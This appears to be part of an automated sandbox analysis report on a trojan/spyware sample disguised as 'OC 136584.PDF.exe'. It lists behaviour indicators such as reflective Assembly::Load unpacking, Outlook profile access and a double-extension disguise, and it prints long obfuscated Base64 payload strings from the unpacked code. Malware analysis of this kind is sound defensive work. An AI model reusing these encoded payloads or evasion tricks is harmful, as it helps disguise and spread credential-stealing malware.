NNNbXXjNTXuZjNDNZNNNNQtNNRDNPXRLNNNbXXjNTXuZjNtNqNNNNRtNNRDNPwNLNNOfH/tRYOljVXNRNNPfXXjHNNtbeNNLdWtNQ/uHTNNNoXvLNNvtzNNNXNPbNNNNGZNVNADNNNOZNNORNNagVNNNXo0xNNNbYO4jWNNNoSC4OQNtfSPtPNNNePjW7FNNNPtqiFtNNPtNNNNpXXjNTXyVNNvtzNNNXNNWmFjNNPa1VNNNXXv4bTNNNObNZNNNRXu4PXPLNNNbdNNOPH0cPNDNONNNNNNNZNNNNqwVhZP41ZQplAjNNNNNSNTjNNNPbPDNNV34NNODXNNOjPDNNV1A0pzyhM3ZNNNNNuOZNNTDNNNNwIIZN6OZNNONNNNNwE1IWENNNNCtGNNQ0ONNNV0Wfo2VNNNNNNNNNNtNNNIpIbtxWQjNNNCbOZjNJNNNONNNNBDNNNNfNNNNZNNNNVjNNNORNNNOYNNNNCjNNNOZNNNNTNNNNPtNNNNjNNNNWNNNNNDNNNNDNNNNONNNNNjNNNNZNNNNPNNNNNNNZODRNNNNNNNLNdtBJOjLNSjFJOjLNztYZOt8NQttNNNLN2jXzODLNwDBzODLN/tBzODLNltBzODLN4jBzODL
Source: 4.2.OC 136584.PDF.exe.10000.0.unpack, frmlogin.cs	Base64 encoded string: 'GIdDNNZNNNNRNNNN//8NNYtNNNNNNNNNDNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNtNNNNN4sht4NgNaAVotOGZ0uITucplOjpz9apzSgVTAuoz5iqPOvMFOlqJ4tnJ4tER9GVT1iMTHhQD0XWNNNNNNNNNODEDNNGNRQNViu868NNNNNNNNNNBNNNvRYNINNNPNNNNNTNNNNNNNNlw8NNNNtNNNNDNNNNNNNRDNtNNNNNtNNONNNNNNNNNNRNNNNNNNNNNPNNNNNNtNNNNNNNNZNDVHNNONNNONNNNNNRNNNRNNNNNNNNONNNNNNNNNNNNNNNUt/NNOCNNNNNRNNNBDQNNNNNNNNNNNNNNNNNNNNNNNNNTNNNNjNNNOpCjNNUNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNVNNNPNNNNNNNNNNNNNNNPPNNNRtNNNNNNNNNNNNNNP50MKu0NNNN0O8NNNNtNNNNVNNNNNVNNNNNNNNNNNNNNNNNNPNNNTNhpaAlLjNNNBDQNNNNDNNNNNDNNNNvNNNNNNNNNNNNNNNNNNONNNONYaWyoT9wNNNZNNNNNTNNNNNPNNNNWtNNNNNNNNNNNNNNNNNNDNNNDtNNNNNNNNNNNNNNNNNNNNPfCjNNNNNNNRtNNNNPNNHNhPHNNBjLNNNQNNNNNNNNNXD+NNP4NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNO4PXOLNNNbdWtNPXOpNNNbNXdMmTNNNPbNONNNRpkxNNNdNNtNNOUZnNNNXtNZNNNEmTjNNPbNRNNNRXuZjNDNDNNNNNDNNRDO+NDNNOT8pNNNXPvfNOvbGZNRNRNNNNNVNNORNstVNNNEiUDNNPtbeNNLdRmNONONNNNNQNNNENU4QNNNRok4NNNbXXjNTXuZjNDNDNNNNONNNRDO+ONNNOT8sNNNXPvfNOvbGZNVNCNNNNNHNNORNstHNNNDHXPNNNNbYOljuptRNNUQDODNNNvtuNNNXolVNNNcmVjNNPtjVtNHNNNDNNU4SNNNRPvfNOvbGZNRNPjNNNNLNNORNstLNNNDXXjNTXvVNNbNTNNNRXyMmQNNNOvtxNNNXqNLNNNXNOjNNOPbrNvtyNNNXXtNNRmNONNfNNNNUNNNENU4UNNNRPvfNOvbNRmNONNfNNNNUNNNENPtANNNTPvfNOvc+pwfNNUPNPNNNOUV7NNOjtNxNNNElBjNNpVNXNNNRXxbNNvtzNNNXNNZROFtENNNTNPbNNOZjONO0NNNNPNNNRDOmWjNNPtbTVYvPNDNtXWbONT8bNNNXXPxNNNbNNvtINNNTOPtHNNNTPjpbRjNNOtZbSDNNOvtFNNNTQNtbXtNNPt0WolfNNNbqzuZRRDEiYNNNPuhnRjHEOKV9NNOjTOvAStNNNFtgNNNXWuLbYtNNPtNdRmNSNWpNNNNWNNNENPtiNNNXN28jNNNXPjVPwzxK2cRspTRZNb5cS9LK2usJwF8NNNRANb5cS9bGOORRRjHJRjLeBtxEOtVEOcRVLDpEO5SugWjEOjAiZDNNPusn/tRGPORVRjxEPFjTSuZUNPfVNORUS9LGOjNEOusJRjLEOuRSZpNWNb5cTAbK1usnS9nAYjNNNFtlNNNXqNHNNOfXXjNTXtNGZNHNctNNNNbNNORNStfPomZNNNbGOkVUXQDNNNbZPNwLTgtAPEsnS9nAYjNNNEZRPOsnRjtJRjxeDjtK2uZXSuZYXl0PRDxEP281NNNXRjjFQPt2NNNXXQpNNNbJRDDUTvt4NNNXNNpn1tfEPksJRjfEPkRXZp0EPEsJRjxEPERVZopEOOLbBDNNPuZSRDHK2usJwF8NNNRGOuRRTuRTSuRTwzxbBNNNPtNEOtbeNNLdNNNGZNVNXNNNNNfNNORNN3WYNNOjXQbNNNbbBjNNPaZwNNNXPjpPomjNNNc0VtNNNDbeNNLdRmNRNRbNNNNZNNNENNWiZDNNPuuopm0NNNbYNz8kNNNXTAbZSt0eUjpPPEuiCtNNPu8DXQ8NNNbbDNNNPz9ONNNXWtxL1t0WPQUqO29PNNNXPvfNOvbNNOZjNDNUNNNNQDNNRDNHPvfNOvcTNNVJztVKztVLzvtENNNTNPbNNNNGZNZNVNNNNN4NNORNsttNNNE+PDNNOU4XNNNRXORNNNLNpwfNNUNXXjNTXuZjNtNFNNNNQjNNRDNPNluQNNNXXRDNNNbXXjNTXtNNRmNONNjNNNNDNNNENNVbEDNNPtbeNNLdRmNONONNNNNENNNENANWNNNPXPRNNNbXXjNTXuZjNDNZNNNNQtNNRDNPXRLNNNbXXjNTXuZjNtNqNNNNRtNNRDNPwNLNNOfH/tRYOljVXNRNNPfXXjHNNtbeNNLdWtNQ/uHTNNNoXvLNNvtzNNNXNPbNNNNGZNVNADNNNOZNNORNNagVNNNXo0xNNNbYO4jWNNNoSC4OQNtfSPtPNNNePjW7FNNNPtqiFtNNPtNNNNpXXjNTXyVNNvtzNNNXNNWmFjNNPa1VNNNXXv4bTNNNObNZNNNRXu4PXPLNNNbdNNOPH0cPNDNONNNNNNNZNNNNqwVhZP41ZQplAjNNNNNSNTjNNNPbPDNNV34NNODXNNOjPDNNV1A0pzyhM3ZNNNNNuOZNNTDNNNNwIIZN6OZNNONNNNNwE1IWENNNNCtGNNQ0ONNNV0Wfo2VNNNNNNNNNNtNNNIpIbtxWQjNNNCbOZjNJNNNONNNNBDNNNNfNNNNZNNNNVjNNNORNNNOYNNNNCjNNNOZNNNNTNNNNPtNNNNjNNNNWNNNNNDNNNNDNNNNONNNNNjNNNNZNNNNPNNNNNNNZODRNNNNNNNLNdtBJOjLNSjFJOjLNztYZOt8NQttNNNLN2jXzODLNwDBzODLN/tBzODLNltBzODLN4jBzODL
Source: 6.0.OC 136584.PDF.exe.5f0000.0.unpack, frmlogin.cs	Base64 encoded string: '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
Source: 6.2.OC 136584.PDF.exe.5f0000.1.unpack, frmlogin.cs	Base64 encoded string: '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

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@7/1@1/1

Source: C:\Users\user\Desktop\OC 136584.PDF.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\OC 136584.PDF.exe.log

Jump to behavior

Source: OC 136584.PDF.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll			Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll			Jump to behavior

Source: C:\Users\user\Desktop\OC 136584.PDF.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\OC 136584.PDF.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\Desktop\OC 136584.PDF.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior

Source: OC 136584.PDF.exe, 00000000.00000002.262677197.0000000002511000.00000004.00000001.sdmp	Binary or memory string: INSERT INTO Itens_Aluguel VALUES(@aluguelID, @aviaoID, @validade);
Source: OC 136584.PDF.exe, 00000000.00000002.262677197.0000000002511000.00000004.00000001.sdmp	Binary or memory string: Insert into Clientes values (@nome, @cpf, @rg, @cidade, @endereco, @uf, @telefone);

Source: OC 136584.PDF.exe

ReversingLabs: Detection: 20%

Source: unknown	Process created: C:\Users\user\Desktop\OC 136584.PDF.exe 'C:\Users\user\Desktop\OC 136584.PDF.exe'
Source: unknown	Process created: C:\Users\user\Desktop\OC 136584.PDF.exe C:\Users\user\Desktop\OC 136584.PDF.exe
Source: unknown	Process created: C:\Users\user\Desktop\OC 136584.PDF.exe C:\Users\user\Desktop\OC 136584.PDF.exe
Source: unknown	Process created: C:\Users\user\Desktop\OC 136584.PDF.exe C:\Users\user\Desktop\OC 136584.PDF.exe
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Process created: C:\Users\user\Desktop\OC 136584.PDF.exe C:\Users\user\Desktop\OC 136584.PDF.exe	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Process created: C:\Users\user\Desktop\OC 136584.PDF.exe C:\Users\user\Desktop\OC 136584.PDF.exe	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Process created: C:\Users\user\Desktop\OC 136584.PDF.exe C:\Users\user\Desktop\OC 136584.PDF.exe	Jump to behavior

Source: C:\Users\user\Desktop\OC 136584.PDF.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{172BDDF8-CEEA-11D1-8B05-00600806D9B6}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\OC 136584.PDF.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Users\user\Desktop\OC 136584.PDF.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: OC 136584.PDF.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: OC 136584.PDF.exe

Static PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Data Obfuscation:

.NET source code contains potential unpacker

Show sources

Source: OC 136584.PDF.exe, BoundHandle.cs	.Net Code: .ctor System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 0.2.OC 136584.PDF.exe.140000.0.unpack, BoundHandle.cs	.Net Code: .ctor System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 0.0.OC 136584.PDF.exe.140000.0.unpack, BoundHandle.cs	.Net Code: .ctor System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 3.2.OC 136584.PDF.exe.190000.0.unpack, BoundHandle.cs	.Net Code: .ctor System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 3.0.OC 136584.PDF.exe.190000.0.unpack, BoundHandle.cs	.Net Code: .ctor System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 4.0.OC 136584.PDF.exe.10000.0.unpack, BoundHandle.cs	.Net Code: .ctor System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 4.2.OC 136584.PDF.exe.10000.0.unpack, BoundHandle.cs	.Net Code: .ctor System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 6.0.OC 136584.PDF.exe.5f0000.0.unpack, BoundHandle.cs	.Net Code: .ctor System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 6.2.OC 136584.PDF.exe.5f0000.1.unpack, BoundHandle.cs	.Net Code: .ctor System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])

Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Code function: 0_2_06AA87C1 push es; retf	0_2_06AA87C4
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Code function: 0_2_06AA8771 push es; retf	0_2_06AA8774
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Code function: 0_2_06AA835B push es; retf	0_2_06AA835C
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Code function: 0_2_06AA7D3C pushfd ; retf	0_2_06AA7D3D
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Code function: 0_2_06AA2B40 push es; ret	0_2_06AA2B48
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Code function: 6_2_007E31EC push FFFFFF8Bh; iretd	6_2_007E31F1
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Code function: 6_2_007E324B push FFFFFF8Bh; iretd	6_2_007E3259
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Code function: 6_2_007E32C3 push FFFFFF8Bh; iretd	6_2_007E32C7
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Code function: 6_2_00BBCF91 push esp; iretd	6_2_00BBCF9D
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Code function: 6_2_00E0B53F push edi; retn 0000h	6_2_00E0B541

Source: initial sample

Static PE information: section name: .text entropy: 7.52188684985

Hooking and other Techniques for Hiding and Protection:

Moves itself to temp directory

Show sources

Source: c:\users\user\desktop\oc 136584.pdf.exe

File moved: C:\Users\user\AppData\Local\Temp\tmpG819.tmp

Jump to behavior

Uses an obfuscated file name to hide its real file extension (double extension)

Show sources

Source: Possible double extension: pdf.exe

Static PE information: OC 136584.PDF.exe

Source: C:\Users\user\Desktop\OC 136584.PDF.exe

Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Jump to behavior

Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
